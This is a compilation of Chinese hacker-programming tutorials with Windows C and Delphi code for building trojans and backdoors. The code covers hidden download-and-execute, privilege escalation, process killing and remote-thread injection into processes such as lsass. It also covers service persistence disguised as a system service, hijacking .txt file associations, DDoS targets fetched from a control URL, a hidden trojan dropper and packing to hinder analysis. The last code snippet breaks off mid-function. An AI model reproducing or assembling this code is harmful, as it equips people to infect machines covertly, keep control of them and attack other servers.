黑客编程中的经典代码讲解，希望你看了对你有一点点用处，那也不枉我每天抽时间上来贴一帖。每帖我都尽量说清楚、简单，并实际演示，如有不懂或是不同的看法可以联系我。有说错的地方，还望大家发帖指正！
（一）取得操作系统的版本
因为不同的操作系统的区别，比如大家常听到远程线程注入，在windows 98下就不行，这时我们要编一个具有远程线程注入功能的黑客程序当然就要先叛断操作系统的版本了，如果是98你只好放弃远程线程注入了。好，我们就看看WinShell是如何实现取得操作系统的版本的吧，代码如下：
----------------------------------------------------------------------
int
        GetOsVer(void)
{
OSVERSIONINFO
        winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}
--------------------------------------------------------------------
OSVERSIONINFO //是一个结构体，里面存放着Windows的版本信息，winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); //初始化,在调用GetVersionEx函数之前这步是必需的。
GetVersionEx取得操作系统版本信息的API函数，要调用它必需加上
#include
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) //判断是不是NT
演示：我们编一个简单的主函数调用这个子函数，完整的程序代码如下：
------------------------------------------------------------------------
#include
#include
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}
main()
{
if (GetOsVer())
printf("Your system is winnt!\n");
else
printf("Your system is win98!\n");
}
（二）下载指定的HTTP文件
大家在网上也经常能看到一些webdown之类的程序，输入HTTP地址后生成服务端，服务端运行时会自动下载指定HTTP地址上的文件（如后门、木马程序）并运行。
其实这种程序并不复杂，只要用到一个 URLDownloadToFile()函数就可以轻松搞
定。以下的是winshell中的相关代码：
---------------------------------------------------------------------------------------
DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];
strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}
        GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr =
        URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;
}
----------------------------------------------------------------------------------
上面的代码涉及到winshell的一些变量，单独拿出来也不太好说，我把它改一下成一个单独的子函数：
----------------------------------------------------------------------------------
DownloadFile(char *sURL)
{
char myFILE[255];

hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;
}
-----------------------------------------------------------------------------
大家看到，这个程序很简单，只要调用一个URLDownloadToFile()函数就可以实现下载了。下边给大家讲一下URLDownloadToFile()中的参数，更具体的信息你可参看MSDN。注意：要调用RLDownloadToFile()函数要在头函数中包含urlmon.h，再加#pragma comment (lib, "urlmon.lib")这句代码。
URLDownloadToFile有五个参数:
第一个参数是仅当调用者是一个ActiveX对象才使用，一般为NULL（也就是0，呵
呵）
第二个参数就是要下载文件的目标URL，完整路径
第三个是本地保存路径，也是完整路径
第四个是保留，必须为0
第五个是指向一个IBindStatusCallback接口的指针
好，我们来运行试试，下边是经过简化的代码，只是为了给大家演示：
-------------------------------------------------------------------------------
#include
#include
#pragma comment (lib, "urlmon.lib")
int DownloadFile(char *sURL);
void main()
{
char *sURL="http://www.duguxike.com/qqz.jpg";
if (DownloadFile(sURL)==0)
printf("down successful!\n");
else
printf("error!\n");

}
int DownloadFile(char *sURL)
{
HRESULT hr;

hr = URLDownloadToFile(0, sURL, "e:\a.jpg", 0, 0);
if(hr==S_OK)
return 0;
else
return 1;
}
---------------------------------------------------------------------------
当然，我下载的是我的网站上的一张图片然后保存在E盘为a.jpg，你只要换成你
想下载的可执行文件就行了，不过下载的程序最好要小些，否则
URLDownloadToFile()函数会由于超时而反回错误信息哦。也可以模仿winshell中
的代码调用GetCurrentDirectory()取得当前目录，将值赋给myFILE。具体的大家
细看一下原代码就明白了。
也许你要问了，当下载下来，不执行也没用啊？其实执行也很简单再调用一个API函数WinExec()就行了。用上面的代码举个例子，要实现下载并执行的功能可以修改一下主函数：
-----------------------------------------------------------------------------
if (DownloadFile(sURL)==0)
WinExec(myFILE,SW_HIDE);
else
printf("error!\n");

（三）权限提升的作用
如果在Windows 98我们要实现用程序关机或重启，只要调用一个API函数ExitWindowsEx()就搞定了。可是在2000/XP下，你会发现你刚刚编的关机程序一点作用都不起！ 为什么呢？这是由于在NT或2000以上的系统，要实现关机或重启功能的程序必须获得SE_SHUTDOWN_NAME权限才行。
还有就是往往我们是用管理员账号登录系统，可是有些进程就是无法关闭，而这些进程也不是系统进程啊，怎么会关不掉呢？这也是一个权限问题。下边我们就来看看如何给我们的程序提升权限，让它成功执行我们想要的功能。
下边是从winshell里的相关代码：
-------------------------------------------------------------------
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
    if(OsIsNt)
        {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
        TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL,
        SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes =
        SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp,
        0,(PTOKEN_PRIVILEGES)NULL,
        0);
if(flag==REBOOT)
        {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE,
        0))
return
        0;
}
else
        {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE,
        0))
return
        0;
}
}
else
        {
if(flag==REBOOT)
        {
if(ExitWindowsEx(EWX_REBOOT +
        EWX_FORCE,0))
return
        0;
}
else
        {
if(ExitWindowsEx(EWX_SHUTDOWN +
        EWX_FORCE,0))
return
        0;
}
}
        return
        1;
}
------------------------------------------------------------------
我们重点看这段：
-------------------------------------------------------------------------
//如果OsIsNt为真，表示是NT以上的系统则执行提升权限的语句。
if(OsIsNt)
        {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
        TOKEN_QUERY, &hToken);
//
        打开进程的令牌，提升权限；
LookupPrivilegeValue(NULL,
        SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
//LookupPrivilegeValue（）的作用是修改进程的权限
tkp.PrivilegeCount = 1; //赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);// 将进程的权限提升到支持调试(Debug)，也就是通知Windows NT修改本进程的权利
--------------------------------------------------------------------------
我们将上面的代码写成一个子函数，以后用到的地方直接调用就可以了。
------------------------------------------------------------------
void EnableDebugPriv( void )
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
CloseHandle( hToken );
}
--------------------------------------------------------------------
好了，下边是我们调用刚刚写的子函数实现重启计算机的完整程序：
----------------------------------------------------------------
#include
void EnableDebugPriv( void )
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges
[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);
CloseHandle( hToken );
}
void
        main()
{
EnableDebugPriv();
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);

}
---------------------------------------------------------------------
呵呵，简单吧，主函数只要两句代码。执行这个程序时可以记得把你要保存的东西都保存好哦！
下边，我们再来看看提升权限在杀进程中的作用。
关于列举进程的代码有很多，现在我先引用一下，以后有机会再给大家细讲举程的列举。
下边是完整代码：
----------------------------------------------------------------
#include "stdio.h"
#include "windows.h"
#include "winbase.h"
#include "tlhelp32.h"
#pragma comment(lib,"kernel32.lib")
#pragma
        comment(lib,"advapi32.lib")
void EnableDebugPriv( void )
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges
[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);
CloseHandle( hToken );
}
pskill(int id)
        //根据进程ID杀进程
{
HANDLE
        hProcess=NULL;
//打开目标进程
hProcess=OpenProcess(PROCESS_TERMINATE,FALSE,id);
if
        (hProcess==NULL){
printf("\nOpen Process
        fAiled:%d\n",GetLastError());
return -1;
}
//结束目标进程
DWORD
        ret=TerminateProcess(hProcess,0);
if(ret==0){
printf("%d",GetLastError());
}        return -1;
}
int
        main(void)
{
//进程列举
HANDLE hSnApshot= CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS,0);
if(hSnApshot!=INVALID_HANDLE_VALUE){
PROCESSENTRY32
        te={sizeof(te)};
BOOL f0k =
        Process32First(hSnApshot,&te);
for(;f0k;f0k=Process32Next(hSnApshot,&te)){
printf("Pid:
        %d
        %s\n",te.th32ProcessID ,te.szExeFile
        );
}
}
CloseHandle(hSnApshot);
//杀进程
printf("the process's id which you want to
        kill:");
int
        id=0;
scanf("%d",&id);
EnableDebugPriv(); //提升权限
pskill(id);

return 0;
}

---------------------------------------------------------------------
程序执行时，先列举进程ID然后输入你相关掉的进程的ID号就可关掉。


WinNT & Win2K下实现进程的完全隐藏
面对众多的计算机高手，考虑许久，终于还是决定出来献丑一下，文章内尽量使用最简洁易懂的词汇及例子来介绍，希望能够对一些初学与进阶者有所帮助。
关于进程的隐藏，98下的例子数不胜数。WinNT/Win2K下的隐藏方法，西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四>》
        ，我也多次拜读他的文章，对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧，好了，闲话少说。
在WinNT下"真正隐藏进程"这一说法，可以讲是根本不可能实现，只要我们的程序是以进程内核的形式运行，都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了，这岂不是与我们的标题《WinNT
        &
        Win2K下实现进程的完全隐藏》相矛盾吗？是的，实际上应该是：以非进程方式执行目标代码，而逃避进程查看器的检查，从而达到"进程隐藏"的目的。
我们这里用的，是在宿主进程中，以线程的方式执行我们的代码。实现起来非常简单。首先，我们先建立一个不执行任何语句的线程
DWORD
        stdcall ThreadProc(LPVOID *lpVoid){
return 0;
}
然后，将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE)，如：共享内存影射区、宿主进程内。这里我们选择宿主进程，拷备的时侯，我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存，然后再使用WriteProcessMemory将线程体写入宿主进程中。
以上工作完成后，我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子
//远程线程执行体
DWORD __stdcall ThreadProc (void *lpPara){
return 0;
}
int main(int argc, char* argv[]){
const DWORD
        THREADSIZE=1024*4;//暂定线程体大小为4K，实际上没这么大，稍后我将会介绍
DWORD byte_write;
//获得指定进程ID句柄，并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread
        =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT|
        MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入进程
return 0;
//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd
        ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread
        ,NULL,0,&byte_write);
if(!hThread){ //还有内存分配未释放
return 0;
}
return 0;
}
到这里，对于隐藏的方法就算告一段落，相信看过的朋友对这个思路有个非常明确的概念了吧。
在理解隐藏的方法后，我们着重开始写线程的执行部分了。如下：
DWORD
        __stdcall ThreadProc(void *lpPara){
MessageBox(NULL,"hello","hello",0);
return 0;
}
编译执行后，你会发现出现一个非法操作错误，为什么呢？在我们以段页式内存管理的win2K操作系统中，编译时会把所有的常量编译在PE文件的.data节中，而代码段则在.text中，所以，我们拷备到宿主进程中的代码是在.text中的代码，MessageBox(NULL,(char
        *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单，按旧照搬的将"hello"也拷备到目标进程中，然后再引用。同理，MessageBox函数地址编译时，也是保存在.Import中，写过Win2k病毒的朋友都知道，所有常量与函数入口地址都需在代码段定义与得出，我们这里也与他有点类似。言归正传，同样情况我们也把函数的入口地址一起写入目标进程中。//先定义参数结构
typedef struct _RemotePara{//参数结构
char pMessageBox[12];
DWORD dwMessageBox;
}RemotePara;
//付值
RemotePara
        myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 ,
        "MessageBoxA");
strcat(myRemotePara.pMessageBox,"hello");
//写进目标进程
RemotePara *pRemotePara =(RemotePara *)
        ::VirtualAllocEx (hWnd
        ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面保护属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd
        ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
//启动进将参数传递进入
HANDLE hThread = ::CreateRemoteThread (hWnd
        ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread
        ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}好了，就这么简单，下在给出一个弹出一个MessageBox的实例：// RemoteThread.cpp : Defines the
        entry point for the console application.
//
#include "stdafx.h"
typedef struct _RemotePara{//参数结构
char
        pMessageBox[12];
DWORD dwMessageBox;
}RemotePara;
//远程线程
DWORD __stdcall ThreadProc (RemotePara *lpPara){
typedef int
        (__stdcall *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//定义MessageBox函数
MMessageBoxA myMessageBoxA;
myMessageBoxA =(MMessageBoxA)
        lpPara->dwMessageBox ;//得到函数入口地址
myMessageBoxA(NULL,lpPara->pMessageBox
        ,lpPara->pMessageBox,0);//call
return 0;
}
void
        EnableDebugPriv();//提升应用级调试权限
int main(int argc, char* argv[]){
const
        DWORD THREADSIZE=1024*4;
DWORD byte_write;
EnableDebugPriv();//提升权限
HANDLE hWnd = ::OpenProcess
        (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void
        *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT|
        MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))
return 0;
//再付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE
        hUser32 = ::LoadLibrary ("user32.dll");
myRemotePara.dwMessageBox
        =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA");
strcat(myRemotePara.pMessageBox,"hello");
//写进目标进程
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd
        ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd
        ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
//启动线程
HANDLE hThread =
        ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void
        *))pRemoteThread ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}
return 0;
}
//提升权限
void EnableDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnamevalue;
TOKEN_PRIVILEGES
        tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
if ( ! LookupPrivilegevalue( NULL, SE_DEBUG_NAME,
        &sedebugnamevalue ) ){
CloseHandle( hToken );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid =
        sedebugnamevalue;
tkp.Privileges[0].Attributes =
        SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE,
        &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
}
好了，程序编译执行后会在进程号为992的进程中创建一线程，弹出hello对话框。是不是非常简单呢！
这里有几个地方需要注意的：
1、远程线程在宿主进程中申请空间时，空间大小的确定了是我一直无法解决的问题。我曾使用两个贴近一起的线程，以线程间的距离大小，并加上参数大小，作为申请空间时，仍然会出现非法操作，如下：
static void StartThread (LPVOID *lpPara){
return ;
}
static void EndThread(LPVOID *lpPara){
return;
}
然后使用DWORD dwLenght = (DWORD)((char *)&StartThread - (char *)&EndThread);//得到StartThread线程代码长度，
dwLenght += sizeof(ThreadPara);
仍会出现非法操作让我很迷惑。在win2k中，线程的默认堆栈的页大小是4KB，这里我在为线程申请内存时，申请的大小暂时使用一个常数，始终为4KB的倍数，选取时尽量取大，在线程可成功运行后，再一点点改小。办法是笨了点，如这里的朋友有更好的方法，请不吝赐教。
2、什么时侯，什么参数是需要从外部传递进来的呢？我这里并没有一个十分有力的答案，我的理解是：PE文件中除了.text节以外的所有节，均需使用外部参数传递到线程中使用，如：.rsrc、.data、rdata等其他的15个节。在我们实际编写的过程中，初学者并不知道我们的代码会编译在什么地方，这个时侯，我们可以在运行的时侯ALT + 8（VC中快捷键）反编译过来，一般有lea eax p、push offset p等取地址语句，这个时侯，我们大都需要以参数传递进来。所以，大家在编写的时侯，一定要注意参数，因为线程的执行是在别的进程中，一个普通权限的应用程序是无法跨越进程来调试其他进程的。包括VC，也无法调试我们的远程线程，熟悉汇编的朋友，可用softice调试，这需要一定的功底。
3、权限，这一点很重要，shotgun在这方面也介绍得很清楚了，网上相关的文章也很多，我就不多说了。文中的EnableDebugPriv函数可使本进程在internet、winLogin、lsass等进程中创建线程。win2k的进程查看器无法将其杀除。
4、进程ID获方法较多，如：EnumProcesses、CreateToolhelp32Snapshot/Process32First/Process32Next、NtQuerySystemInformation等函数均可，为减少代码，例子中的进程ID是直接在进程查看器中得到的。最后，我们再回到shotgun的文章中，这时侯我们因已经非常清楚他的方法中为何会多出一个DLL文件了。远程线程的线程体本身就是LoadLibrary函数，即，线程的入口地址就是LoadLibrary的入口地址，这是系统Kernel32.dll中的函数，任何进程都可调用。线程中使用LoadLibrary函数将我们的DLL加载到系统空间内，线程一执行，我们的DLL就开始工作了。线程执行结束后，别忘了使用VirtualFreeEx将其申请的内存区释放。
两种方法一比较，很明显：
1、在使用DLL时，创建十分简单，也不需要太多的操作系统与内存操作知识，并可直接调试DLL文件。实现起来比较简单。
2、直接拷备到进程中的方法稍为复杂一点，一不小心，很容易出现非法操作。当然，也去掉那了个让人讨厌DLL文件。程序执行后，很难找到他的来源地，是除了病毒以外的木马隐藏的首选方法。这里我大量参考了nongmin.cn(农民)程序的源码，他的程序对我的帮助非常大。虽然未有谋面，但对他的计算机水平与作为十分的敬佩，并尊从他的作风，以后我所写的所有非商业软件或小代码，均以源码形式出现。这里写得有点乱，希望对大家能够有所帮助，愿与所有爱好计算机，从事计算机工作的朋友们共勉。


关于开发系统后门软件的几点思路

作者：Delphiscn（cnBlaster#sohu.com）http://blog.csdn.net/Delphiscn
注释：这只是一篇临时的学习笔记
目录
1、前言
2、系统加载
3、文件关联
4、攻击控制
5、文件隐匿
6、附言
前言
现在的系统后门软件数不胜数，但大都有一个通病，就是系统加载方面很容易被精明的老鸟们察觉。而且遇上类似“天网”或是“金山网镖”的网络防火墙基本上就没戏了。前些天在网上看到了一篇名叫《Do all in cmd shell》的文章，里面关于程序加载的方式比较巧妙，对基于NT的2000\XP这样的系统基本上已经可以做到通用了。在此我用Delphi，并模仿一些经典后门软件的功能写一个Backdoor，希望与各位高手共同交流编程经验，也算是复习一下以前学习的知识：）
系统加载
读到这里，估计很多朋友会立即联想到HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和Win.ini中的Load。没错，不过从实战角度出发，现在再用这样的启动方式已经有点落后了。而且如果你的程序实现的功能很多，但如果在启动方面出了问题，不是一件很郁闷的事吗？在此，根据 《Do all in cmd shell》作者的思路，我们可以自己写一个inf文件，利用这个文件配置一个系统服务程序。这样，我们的后门就可以在不知不觉中，随系统服务一起启动了。（不过此方案有一个局限性：只适用于NT\2000\XP）这里引用作者的原文：
现在，让我们用inf来添加一个系统服务
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf，然后
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf（在这里我对原文做了点修改）
[注：%systemroot%是个环境变量，假设你的系统文件夹是C:\Windows，那么%systemroot%的路径就是C:\Windows（一般为98或是XP）假设你的系统文件夹为C:\winnt，那么%systemroot%的路径则为C:\winnt（一般为2K）]
这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。
几点说明：
1，最后四项分别是
服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；
启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启
动，3 手动启动，4 禁用。
（注意，0和1只能用于驱动程序）
错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。
服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%
12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路
径。
这四项是必须要有的。
2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍
了。
3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。
删除一个服务：
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单，不是吗？
下面的步骤就是要在Delphi中调用这个inf安装服务。我们可以使用shellExecute这个函数，具体用法为
shellExecute(handle,nil,pchar('rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf'),nil,nil,sw_shownormal);
我觉得这里的sw_shownormal有点不是很好，因为在这个参数下。cmd shell的窗口是可见的，不知道你们有没有什么好的办法？但是，我觉得shellExecute函数有一个好处-------如果应用程序找不到inf，在电脑屏幕上不会有任何的反映。简单的说，就是不会报错：）当然，如果你不放心那也可以使用GetWindowsDirectory函数对inf文件进行绝对定位，不过在这里我觉得好象没有这个必要。
疑惑：在这里我们的共享类型ServiceType=0x10属于独立进程服务。估计这个病毒要访问Internet时会遭到防火墙的拦截。但是象类似svchost、lsass这样的共享进程服务却不会，如果我们把ServiceType的值改为0x20我想情况会有所改观，不过在这里我没有深入研究。
文件关联
按照惯例，我们可以对txt文本关联进行修改，将注册表中的键值指向我们的后门程序。下面这段代码可以做到这一点：）
var
Backdoor: TRegistry;
FileExt:String;
FileType:String;
FileDescription:String;
ExecName:String;
WinDir:String;
begin
FileExt:='.txt';
FileType:='文本文档';
FileDescription:='文本文档';
SetLength(WinDir,128);//获取Windows目录
GetWindowsDirectory(PChar(WinDir),128);
SetLength(WinDir,StrLen(PChar(WinDir)));
ExecName:=WinDir+'\system32\inetsvr.exe';//这里的inetsvr.exe是我们的病毒程序
        Backdoor:=TRegistry.Create;//创建注册表对象
try
Backdoor.RootKey:=HKEY_CLASSES_ROOT;//注册表根键
if not
        Backdoor.OpenKey(FileExt, True) then Exit;
        //当在注册表中创建文件类型失败时退出，一般是注册表错误
Backdoor.WriteString('',FileType);//写文件类型数据
Backdoor.CloseKey;
if not Backdoor.OpenKey(FileType,True) then//打开文件类型FileType关键字
Exit;
Backdoor.WriteString('',FileDescription);//写文件描述数据
if not Backdoor.OpenKey('shell\open\command', True) then//打开子键
Exit;
Backdoor.WriteString('',ExecName);
Backdoor.CloseKey;//关闭关键字
finally
Backdoor.Free;//释放注册表对象
end;
end;
这样，只要用户双击txt文件，我们的inetsvr.exe就会又跟着启动了。
攻击控制
前些日子在网上看到了一篇关于用bat批处理文件控制病毒程序攻击他人网站的一个例子。由于我对他的那个实例还没有完全搞清楚，不过我们可以使用其他办法来代替bat。下面我们来实现这个过程：
首先，可以申请一个主页空间（假设为http://www.attack.com/delphiscn）。上传一个ipaddress.txt的文档。内容为192.168.0.1
这里的192.168.0.1为我们要攻击的网站地址。
在Delphi中添加如下语句：
var ipaddress:integer;
NMhttp.Get('http://www.attack.com/Delphiscn/ipaddress.txt');
ipaddress:=strtoint(NMhttp.Body);
NMhttp.Free;
这样，我们的程序就得到了要攻击的网站地址IPaddress，而且这个IPAddress可由我们自己控制：）
接下来就是论到攻击了，我们可以在程序中加入一段代码。向192.168.0.1不停的发送数据包。造成远程服务器拒绝响应，也就是经常提到的DDOS。当然你也可以用类似Ping这样的方法，由于比较简单，这里就不再细述了。
文件隐匿
如果你设计的程序功能比较强大，也许不止一个可执行文件，而且我们又不能象其他共享软件那样做安装程序。其中最简单的方法就是用copy/b setup.exe+run.exe set.exe这条命令把需要运行的程序加载在前一个可执行程序的后面，setup.exe文件的职责有两个，其一是显示假象让别人不知道这是一个木马安装程序，其二就是真实的目的从指定字长定位将木马服务程序截取下来并运行安装，由于木马服务部分采用了“隐形”技术，所以根本不会被察觉，代码部分就是定位拷贝，这里不在细述。还有一种方法是在资源文件RES中预先装入木马，并以数据形式存于当前可执行文件中，在合适的时机释放即可。下面这段代码可用于从RES中释放指定的文件：
procedure runvirus(from:pchar;Fileto:String);
var
tempdir:string;
Buf:pointer;
size:longint;
h,ResHandle:Cardinal;
zip:File;
begin
h:=GetModuleHandle(pchar(extractFilename(paramstr(0))));
tempdir:='';
reshandle:=FindResource(h,Makeintresource(1),'DAT');
buf:=Pointer(loadresource(h,reshandle));
size:=SizeofResource(h,reshandle);
assignfile(zip,tempdir+fileto);
rewrite(zip,1);
try
blockwrite(zip,buf^,size)
finally
closefile(zip);
end;
end;
资源文件test.rc制作如下：
* 内容： 1 DAT "test.exe"
* 制作： BRCC32 test.rc
* 在资源文件中加入：
{$R *.DFM}
//加入test.RES，如果不加这一行，当木马释放文件时会找不着资源而报错，一定要注意这个问题：）
{$R test.RES}
* 函数调用：
if not Fileexists('test.exe') then runvirus('DAT','test.exe');
另外，附上几个比较常用的小技巧：
任务管理器中的隐形：
我们可以使用清除标题的方法：
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
//此处设置标题的清除
Appilcation.Title:='';
Application.Initialize;
Application.CreateForm(TForm1,Form1);
Application.Run;
end.
工具栏上的隐形：
通过使用SetWindowLong函数即可：
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
防止程序多次重复运行：
在制作利用端口进行服务的同时，经常要防止程序的重复执行，因为同一份拷贝在运行时会使用相同的IP地址和相同的端口，必然会产生冲突。所以，为了防止程序二次执行。我们可以在程序启动事件里加入如下代码：
假设我们的程序标题为Neverland
program Neverland;
uses
Forms,Windows,SysUtils,
Neverland in 'Neverland.pas' {Form1};
{$R *.RES}
var
hMutex:HWND;
Ret:Integer;
Begin
Application.Initialize;
Application.Title:='Neverland';
hMutex:=CreateMutex(nil,False,'Neverland');
Ret:=GetLastError;
IF Ret<>ERROR_ALREADY_EXISTS Then
Begin
Application.CreateForm(TForm1, Form1);
Application.Run;
End
Else
ReleaseMutex(hMutex);
end.
附言
通过上述改进，一个系统后门程序就已经初具雏形了。当然，如果您有兴趣，还可以对其功能进行扩充。最后，千万别忘了用ACPack对它加壳哦，这样会增加他人反汇编的困难。如果您有什么好的思路或方法，欢迎与大家一起讨论：）


如果只要判断EXE的名字（不需要判断路径），可以省略EnumProcess，因为
pe32.szExeFile 里就已经有EXE的名字了，因为没有路径，所以才又使用了
函数EnumProcess来取得完整的路径。这样就简洁一些了。
BOOL CALLBACK EnumWinProc(HWND hwnd, LPARAM lParam)
{
DWORD dwID;
GetWindowThreadProcessId(hwnd, &dwID);
if (dwID == (DWORD)lParam) {
PostMessage(hwnd, WM_QUIT, 0, 0);
return FALSE;
}
return TRUE;
}
void KillProgram(LPCSTR ExeName)
{
char *File;
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
    if (!ExeName ||
        !ExeName[0])
return;
File = strrchr(ExeName,
        '\');
if (File!=0) ExeName =
        File+1;
hProcessSnap =
        CreateToolhelp32Snapshot(
TH32CS_SNAPPROCESS, 0);
if (hProcessSnap ==
